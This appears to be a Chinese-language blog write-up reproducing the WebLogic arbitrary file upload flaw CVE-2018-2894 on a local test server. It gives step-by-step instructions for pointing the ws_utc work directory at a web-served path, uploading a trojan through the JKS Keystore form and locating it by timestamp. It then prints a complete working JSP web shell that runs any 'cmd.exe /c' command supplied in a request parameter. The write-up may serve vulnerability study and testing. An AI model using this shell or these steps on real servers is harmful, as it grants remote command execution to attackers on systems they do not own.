CVE-2018-2894 本地复现过程
名称: WebLogic反序列化远程命令执行漏洞
漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
测试版本: 12.2.1.3.0
我测试的版本是 12.2.1.3.0
1.配置访问目录
访问 http://localhost:7001/ws_utc/config.do (配置工作目录页面),需要配置工作目录为可以访问的目录
默认目录是:
E:weblogicweblogic_12user_projectsdomainsase_domain mpWSTestPageWorkDir
配置为:E:weblogicweblogic_12user_projectsdomainsase_domainserversAdminServer mp_WL_internalcom.oracle.webservices.wls.ws-testclient-app-wls4mcj4ywar
2.抓包上传木马
点击页面左侧的安全,添加 JKS Keystores, 设置名字、密码(密码可以不设置)、上传木马文件(大马、一句话、cmd马都可以)
我这里上传cmd马,chybeta.jsp(木马在文章末尾),上传的同时抓包,(抓取时间戳然后访问)
抓包看时间戳和文件名,
3.访问木马,执行命令
http://localhost:7001/ws_utc/config/keystore/1561954783799_chybeta.jsp
cmd木马文件
chybeta.jsp
<%@ page import="java.util.*,java.io.*,java.net.*"%> <HTML><BODY> <form action="" name="myform" method="POST" style="box-sizing: border-box; margin-top: 0px;"><input name="cmd" type="text" style="box-sizing: border-box !important; color: var(--text-color); font: inherit; margin: 0px; padding-left: 4px; border: 1px solid rgba(146, 146, 146, 0.56);"> <input value="Send" type="submit" style="box-sizing: border-box !important; color: var(--text-color); font: inherit; margin: 0px; padding-left: 4px; border: 1px solid rgba(146, 146, 146, 0.56); -webkit-appearance: button; cursor: pointer;"></form> <pre class="" style="box-sizing: border-box; overflow: auto; font-family: var(--monospace); margin-bottom: 0px; inherit; white-space: pre-wrap;"><% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + " "); Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML>
from